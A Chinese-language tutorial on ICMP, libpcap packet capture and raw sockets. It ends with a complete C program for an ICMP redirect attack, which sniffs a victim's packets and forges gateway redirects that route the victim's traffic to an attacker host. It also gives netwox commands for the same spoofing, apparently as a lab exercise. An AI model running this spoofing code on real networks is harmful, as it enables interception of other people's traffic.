一、ICMP协议简介

1.1 ICMP定义
ICMP是(Internet Control Message Protocol)Internet控制报文协议。它是TCP/IP协议簇的一个子协议,用于在IP主机、路由器之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户数据的传递起着重要的作用。
1.2 报文结构
ICMP有很多种,每种的结构的不尽相同。但有固定的三种:TYPE(8bit)、CODE(8bit)和CHECKSUM(16bit)。TYPE指的是种类,如0表示echo,也就是我们熟知的ping,3表示不可达。CODE是代码,如3类型0代码表示网络不可达而1代码表示主机不可达。而由于ICMP是网络层中面向无连接的协议,故加入了CHECKSUM以防止其在网络传输过程中出错。
下面列出了一些:

TYPE	CODE	Description	Query	Error
0	0	Echo Reply——回显应答(Ping应答)	x	
3	0	Network Unreachable——网络不可达		x
3	1	Host Unreachable——主机不可达		x
3	2	Protocol Unreachable——协议不可达		x
3	3	Port Unreachable——端口不可达		x
3	4	Fragmentation needed but no frag. bit set——需要进行分片但设置不分片比特		x
3	5	Source routing failed——源站选路失败		x
3	6	Destination network unknown——目的网络未知		x
3	7	Destination host unknown——目的主机未知		x
3	8	Source host isolated (obsolete)——源主机被隔离(作废不用)		x
3	9	Destination network administratively prohibited——目的网络被强制禁止		x
3	10	Destination host administratively prohibited——目的主机被强制禁止		x
3	11	Network unreachable for TOS——由于服务类型TOS,网络不可达		x
3	12	Host unreachable for TOS——由于服务类型TOS,主机不可达		x
3	13	Communication administratively prohibited by filtering——由于过滤,通信被强制禁止		x
3	14	Host precedence violation——主机越权		x
3	15	Precedence cutoff in effect——优先中止生效		x
4	0	Source quench——源端被关闭(基本流控制)		
5	0	Redirect for network——对网络重定向		
5	1	Redirect for host——对主机重定向		
5	2	Redirect for TOS and network——对服务类型和网络重定向		
5	3	Redirect for TOS and host——对服务类型和主机重定向		
8	0	Echo request——回显请求(Ping请求)	x	
9	0	Router advertisement——路由器通告		
10	0	Route solicitation——路由器请求		
11	0	TTL equals 0 during transit——传输期间生存时间为0		x
11	1	TTL equals 0 during reassembly——在数据报组装期间生存时间为0		x
12	0	IP header bad (catchall error)——坏的IP首部(包括各种差错)		x
12	1	Required options missing——缺少必需的选项		x
13	0	Timestamp request (obsolete)——时间戳请求(作废不用)	x	
14		Timestamp reply (obsolete)——时间戳应答(作废不用)	x	
15	0	Information request (obsolete)——信息请求(作废不用)	x	
16	0	Information reply (obsolete)——信息应答(作废不用)	x	
17	0	Address mask request——地址掩码请求	x	
18	0	Address mask reply——地址掩码应答

我们发送一个ping包来仔细看看:

icmp echo是什么意思 icmp type echo_IP


可以看到我们发送的ping包(request)Type类型是8,而收到的(Reply)则是0,数据报在IP层之上,但属于网络层,其数据部分被包上IP头部和以太网帧后在网络中传送。

1.4 ICMP重定向报文

可以看到TYPE为5的ICMP包为重定向包,那么他们是做什么的呢?先看下面一段话:

路由器之间会经常交换信息,以适应网络拓扑的变化,保持最优路由。但是主机一般不会这样做。所以,一条基本的原则是:主机会假设路由器的信息更权威,路由器总是对的。
主机在路由设置的时候,最开始只有一条默认的路由信息,然后当,接收到路由器通知它改变路由的时候,会更新自己的路由表。

如在下图中,PC想要连接某个服务器,其先发给了自己的默认网关R1,R1查询了自己的路由表,便将消息发送给了R2。但是这个过程是多余的,PC为什么不直接发送给R2呢?于是R1便发了一条重定向报文给PC,意思是你不要经过我了,直接发给R2吧。

icmp echo是什么意思 icmp type echo_#include_02


由于主机与路由间有着信任关系,所以我们的重点便是利用这种信任关系了。如果我们模仿网关让PC重定向至我们的服务器会如何呢?答案很显然,就是PC更新了自己的路由表,所有的数据包会先发向我们的服务器。

1.5 利用netwox发送重定向包

  • 在受害者机器上,利用cat /proc/sys/net/ipv4/conf/all/accept_redirects 1使其接受重定向报文
  • 在受害者机器上,利用route -n查询网关地址
  • 利用netwox 86 -g 重定向地址 -i 网关地址 指令来冒充网关发送重定向报文

下面我们利用pcap来进行自己的重定向程序的撰写:

二、pcap简单介绍与应用

2.1 pcap简介
pcap是一个抓包库,这个抓包库给抓包系统提供了一个高层次的接口。所有网络上的数据包,甚至是那些发送给其他主机的,通过这种机制,都是可以捕获的。它也支持把捕获的数据包保存为本地文件和从本地文件读取信息。而使用pcap需要以下的流程:

  • 确认嗅探的接口,如Linux中的eth0
  • 初始化pcap,告诉pcap需要嗅探的接口。使用文件句柄来命名区分不同的对话。
  • 创建自己的规则集,保存在字符串中,“编译“并应用它。
  • 规定循环方式并定义回调函数,回调函数在抓到满足我们的规则集的数据报时执行
  • 结束会话

接下来我们按照这个步骤一步一步来设置一个简单的pcap程序:

2.2 写一个简单的pcap程序
2.2.1 嗅探接口

#include <stdio.h>
	#include <pcap.h>

	int main(int argc, char *argv[])
	{
		char *dev, errbuf[PCAP_ERRBUF_SIZE];

		dev = pcap_lookupdev(errbuf);
		if (dev == NULL) {
			fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
			return(2);
		}
		printf("Device: %s\n", dev);
		return(0);
	}

我们这里使用了pcap_lookupdev函数,这个函数可以自动寻找接口,并储存在dev字符串中。可以看到这里传递了一个参数errbuf,若寻找过程出错会将错误信息传入该参数。

2.2.2 打开设备嗅探

#include <pcap.h>
	 ...
	 pcap_t *handle;

	 handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
	 if (handle == NULL) {
		 fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
		 return(2);
	 }

这里我们使用pcap_open_live函数,可以看到该函数返回一个句柄,并有五个参数,从左到右分别是:

  • 上一节中找到的接口
  • pcap捕获的最大字节数
  • 是否接入混杂模式(是否嗅探与本机无关的流量)
  • 读取超时时间(毫秒)
  • 返回的错误信息

2.2.3 定义规则集
对流量进行过滤需要使用pcap_compile()和pcap_setfilter(),分别是编译和应用规则集。首先看看编译:

int pcap_compile(pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask)

可以看到编译函数共有五个参数,他们分别是:

  • pcap句柄
  • 存储过滤器的编译版本的位置的引用
  • 规则集
  • 是否优化表达式
  • 指定过滤器适用的网络的网络掩码

而应用函数为:

int pcap_setfilter(pcap_t *p, struct bpf_program *fp)

第一个为句柄,第二个为编译版本同上二
来一个简单的例子:

#include <pcap.h>
	 ...
	 pcap_t *handle;		/* Session handle */
	 char dev[] = "rl0";		/* Device to sniff on */
	 char errbuf[PCAP_ERRBUF_SIZE];	/* Error string */
	 struct bpf_program fp;		/* The compiled filter expression */
	 char filter_exp[] = "port 23";	/* The filter expression ,目标端口23*/
	 bpf_u_int32 mask;		/* The netmask of our sniffing device */
	 bpf_u_int32 net;		/* The IP of our sniffing device */

//调用函数自动寻找网络掩码
	 if (pcap_lookupnet(dev, &net, &mask, errbuf) == -1) {
		 fprintf(stderr, "Can't get netmask for device %s\n", dev);
		 net = 0;
		 mask = 0;
	 }
	 //打开句柄
	 handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf);
	 if (handle == NULL) {
		 fprintf(stderr, "Couldn't open device %s: %s\n", dev, errbuf);
		 return(2);
	 }
	 //编译过滤
	 if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {
		 fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
		 return(2);
	 }
	 //应用
	 if (pcap_setfilter(handle, &fp) == -1) {
		 fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
		 return(2);
	 }

2.2.4 定义循环方式与回调函数
设置好了我们的过滤器,我们就要对数据报进行我们想要的处理了,首先我们要规则我们的循环方式,其主要的循环方式有两种,分别是pcap_next,这种方式是捕获单个数据报,而pcap_loop则是循环抓包,首先看看pcap_next:

//参数声明
struct pcap_pkthdr header;
const u_char *packet;

//函数调用
packet = pcap_next(handle, &header);

第一个参数是我们的会话句柄。 第二个参数是一个指向结构的指针,该结构保存有关数据包的一般信息,特别是它被嗅探的时间、此数据包的长度以及其特定部分的长度(例如,分片的情况)。pcap_next ()返回一个u_char指针,指向此结构描述的数据包。
而更多的用户会使用pcap_loop:

int pcap_loop(pcap_t *p, int cnt, pcap_handler callback, u_char *user)

此处有四个参数,他们分别是

  • pcap句柄
  • 循环次数(负值代码一直抓直到发生错误)
  • 回调函数
  • 希望向回调函数传递的参数

除了这两者,还有另外一个 pcap_dispatch(),用法与loop差不多,唯一取别是其只处理系统收到的第一批数据包。
明白了循环定义方式,接下来我们要定义我们的回调函数,为了满足pcap函数,我们需要以固定格式定义我们的回调函数,如下:

void got_packet(u_char *args, const struct pcap_pkthdr *header,  const u_char *packet);

第一个参数就是刚刚loop调用的最后一个参数;第二个包含了我们所嗅探的包的一些基本信息,如抓取时间和长度;第三个指向整个数据报。

三、row sorcket编程

3.1 row socket简介
首先,大家都知道socket编程,其中分为四类,分别是stream(使用TCP)、datagram(UDP)、row(原始套接字)和顺序数据包(Sequenced Packet)套接字。前两者使用的较多,而row socket可以让我们访问底层协议。下面将描述其简要流程。
3.2 创建socket

sock = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL))

第一个参数:面向层次,PF_PACKET可以抓链路层的数据,PF_INET就是网络层
第二个参数:socket类型,我们是raw
都三个:为了接收所有分组,可以使用ETH_P_ALL,为了接收IP分组,可以使用ETH_P_IP,在第一个参数是PACKET类型时,我们有下面几种

ETH_P_IP 只接收目的mac是本机的IP类型数据帧 ETH_P_ARP - 只接收目的mac是本机的ARP类型数据帧
ETH_P_RARP 只接收目的mac是本机的RARP类型数据帧
ETH_P_PAE 接收目的mac是本机的802.1x类型的数据帧
ETH_P_ALL 接收目的mac是本机的所有类型数据帧,同时还可以接收本机发出的所有数据帧,混杂模式打开时,还可以接收到目的mac不是本机的数据帧

如果使用的是INET类型,则是IPPROTO_TCP、IPPROTO_UDP、IPPROTO_ICMP和IPPROTO_RAW

使用AF_INET时,我们所构造的报文从IP首部之后的第一个字节开始,IP首部由内核自己维护,首部中的协议字段会被设置为我们调用socket()函数时传递给它的protocol字段。也即,如果没有开启IP_HDRINCL选项,那么内核会帮忙处理IP头部。如果设置了IP_HDRINCL选项,那么用户需要自己生成IP头部的数据,其中IP首部中的标识字段和校验和字段总是内核自己维护。可以通过下面代码开启IP_HDRINCL:

const int on = 1;
if(setsockopt(fd,SOL_IP,IP_HDRINCL,&on,sizeof(int)) < 0)
{
  printf("set socket option error!\n");
}

3.3 写一个简单的ping程序

#include<stdio.h>
#include<stdlib.h>
#include<sys/socket.h>
#include<sys/types.h>
#include<netinet/ip.h>
#include<netinet/ip_icmp.h>

struct sockaddr_in target, from;

int main(int argc, char ** argv){

	int sockfd;
	char sendbuff[8];
	struct icmp * icmp;
	
	//网络层,因为不需要修改IP地址
	sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP);
	
	//填充ICMP包
	icmp = (struct icmp*)sendbuff;
	icmp->icmp_type = ICMP_ECHO;
	icmp->icmp_code = 0;
	icmp->icmp_cksum = 0;
	icmp->icmp_id=2;
	icmp->icmp_seq=3;
	
	printf("buff is %x.\n",*sendbuff);
	if(argc!=2)
	{
	printf("Usage:%s targetip",argv[0]);exit(1);
	}

	if(inet_aton(argv[1],&target.sin_addr)==0){
                printf("bad ip address %s\n",argv[1]);
                exit(1);
        }
	
	while(1){	
	sendto(sockfd,sendbuff,8,0,(struct sockaddr *)&target,sizeof(target));
	sleep(1);
	}

	close(sockfd);
	return 0;

}

四、发送重定向包

#include <pcap.h>
#include <stdlib.h>
#include <stdio.h>
#include <netinet/in.h>  
#include<sys/socket.h>
#include<unistd.h>
#include <sys/types.h>
#include<linux/ip.h>
#include<linux/icmp.h>
#include<string.h>

#define MAX 1024
#define SIZE_ETHERNET 14

const unsigned char *Vic_IP = "192.168.85.131";//攻击对象的ip
const unsigned char *Ori_Gw_IP = "192.168.85.2";//源网关ip
const unsigned char *Redic_IP = "192.168.85.129";//攻击者ipo
int flag = 0;



/*计算校验和*/  
u_int16_t checksum(u_int8_t *buf,int len)  
{  
    u_int32_t sum=0;  
    u_int16_t *cbuf;  
  
    cbuf=(u_int16_t *)buf;  
  
    while(len>1)
    {  
        sum+=*cbuf++;  
        len-=2;  
    }  
  
    if(len)  
        sum+=*(u_int8_t *)cbuf;  
  
        sum=(sum>>16)+(sum & 0xffff);  
        sum+=(sum>>16);  
  
        return ~sum;  
}  


void ping_redirect(int sockfd,const unsigned char *data,int datalen)
{ 
    char buf[MAX],*p;
    struct ip_header *ip;
    struct icmp_header *icmp;
    int len,i;
    //struct sockaddr_in dest; 
    struct packet{
        struct iphdr ip;
        struct icmphdr icmp;
        char datas[28];
    }packet;



    //手动填充ip头
    packet.ip.version = 4;
    packet.ip.ihl = 5;
    packet.ip.tos = 0;//服务类型
    packet.ip.tot_len = htons(56);
    packet.ip.id = getpid();
    packet.ip.frag_off = 0;
    packet.ip.ttl = 255;
    packet.ip.protocol = IPPROTO_ICMP;
    packet.ip.check = 0;
    packet.ip.saddr = inet_addr(Ori_Gw_IP);//要伪造网关发送ip报文
    packet.ip.daddr = inet_addr(Vic_IP);//将伪造重定向包发给受害者
    
    

    //手动填充icmp头
    packet.icmp.type = ICMP_REDIRECT;
    packet.icmp.code = ICMP_REDIR_HOST;
    packet.icmp.checksum = 0;
    packet.icmp.un.gateway = inet_addr(Redic_IP);
    struct sockaddr_in dest =  {
        .sin_family = AF_INET,
        .sin_addr = {
            .s_addr = inet_addr(Vic_IP)
        }
    };
    //从源数据包的内存地址的起始地址开始,拷贝28个字节到目标地址所指的起始位置中
    //可以复制任何类型,而strcpy只能复制字符串
    memcpy(packet.datas,(data + SIZE_ETHERNET),28);//包里数据
    packet.ip.check = checksum(&packet.ip,sizeof(packet.ip));
    packet.icmp.checksum = checksum(&packet.icmp,sizeof(packet.icmp)+28);
    //用于非可靠连接的数据数据发送,因为UDP方式未建立SOCKET连接,所以需要自己制定目的协议地址
    //(发送端套接字描述符,待发送数据的缓冲区,待发送数据长度IP头+ICMP头(8)+IP首部+IP前8字节,flag标志位,一般为0,数据发送的目的地址,地址长度)
    sendto(sockfd,&packet,56,0,(struct sockaddr *)&dest,sizeof(dest));
    //printf("send\n");
}



//pcap_loop()不知道如何处理返回值,所以返回值为空,第一个参数是回调函数的最后一个参数,第二个参数是pcap.h头文件定义的,包括数据包被嗅探的时间大小等信息,最后一个参数是一个u_char指针,它包含被pcap_loop()嗅探到的所有包(一个包包含许多属性,它不止一个字符串,而是一个结构体的集合,如一个TCP/IP包包含以太网头部,一个IP头部还有TCP头部,还有此包的有效载荷)这个u_char就是这些结构体的串联版本。pcap嗅探包时正是用之前定义的这些结构体
void getPacket(u_char * arg, const struct pcap_pkthdr * pkthdr, const u_char * packet)
{
    int sockfd,res;
    int one = 1;
    int *ptr_one = &one;
    //printf("here!\n");
    //可以接收协议类型为ICMP的发往本机的IP数据包(通信的域,iPv4,套接字通信的类型,原始套接字,套接字类型,接收ICMP-》IP)
    //sockfd是socket描述符,为了以后将socket与本机端口相连

    printf("got a packet!");
    if((sockfd = socket(AF_INET,SOCK_RAW,IPPROTO_ICMP))<0)
    {
        printf("create sockfd error\n");
        exit(-1);
    }
    //包装自己的头部
    //发送数据时,不执行系统缓冲区到socket缓冲区的拷贝,以提高系统性能,应为
    /**
     设置sockfd套接字关联的选 项
     sockfd:指向一个打开的套接口描述字
     IPPROTO_IP:指定选项代码的类型为IPV4套接口
     IP_HDRINCL:详细代码名称(需要访问的选项名字)
     ptr_one:一个指向变量的指针类型,指向选项要设置的新值的缓冲区
     sizeof(one):指针大小
    */
    res = setsockopt(sockfd, IPPROTO_IP, IP_HDRINCL,ptr_one, sizeof(one));
    // if(res < 0)
    // {
    //     printf("error--\n");
    //     exit(-3);
    // }
    ping_redirect(sockfd,packet,0);

}

	int main(int argc, char *argv[])
	{
		char *dev, errbuf[PCAP_ERRBUF_SIZE];

		dev = pcap_lookupdev(errbuf);//return a dev pointer
		if (dev == NULL) {
			fprintf(stderr, "Couldn't find default device: %s\n", errbuf);
			return(2);
		}
		printf("Device: %s\n", dev);
		//If set the third op to false,will sniffer parket only form host.
        pcap_t * device = pcap_open_live(dev, 65535, 1, 0, errbuf);     //获得数据包捕获描述字函数(设备名称,参与定义捕获数据的最大字节数,是否置于混杂模式,设置超时时间0表示没有超时等待,errBuf是出错返回NULL时用于传递错误信息)
       printf("Got a jubing!");
        struct bpf_program filter;
        char filterstr[50]={0};
        sprintf(filterstr,"src host %s",Vic_IP);        //将vic_ip按照%s的格式写入filterstr缓冲区
    //过滤通信,哪些包是用户可以拿到的
    //表达式被编译,编译完就可使用了
        pcap_compile(device,&filter,filterstr,1,0);  //函数返回-1为失败,返回其他值为成功
    //device:会话句柄
    //&filterstr:被编译的过滤器版本的地址的引用
    //filterstr:表达式本身,存储在规定的字符串格式里
    //1:表达式是否被优化的整形量:0:没有,1:有
    //0:指定应用此过滤器的网络掩码
    //设置过滤器,使用这个过滤器
        pcap_setfilter(device,&filter);
    //device:会话句柄
    //&filterstr:被编译的表达式版本的引用
    /* wait loop forever */
        int id = 0;
        printf("Start!");
        pcap_loop(device, -1, getPacket, NULL);
    //device是之前返回的pacp_t类型的指针,-1代表循环抓包直到出错结束,>0表示循环x次,getPacket是回调函数,最后一个参数一般之置为null
    
    
    return 0;
	}

参考:https://zhuanlan.zhihu.com/p/59296026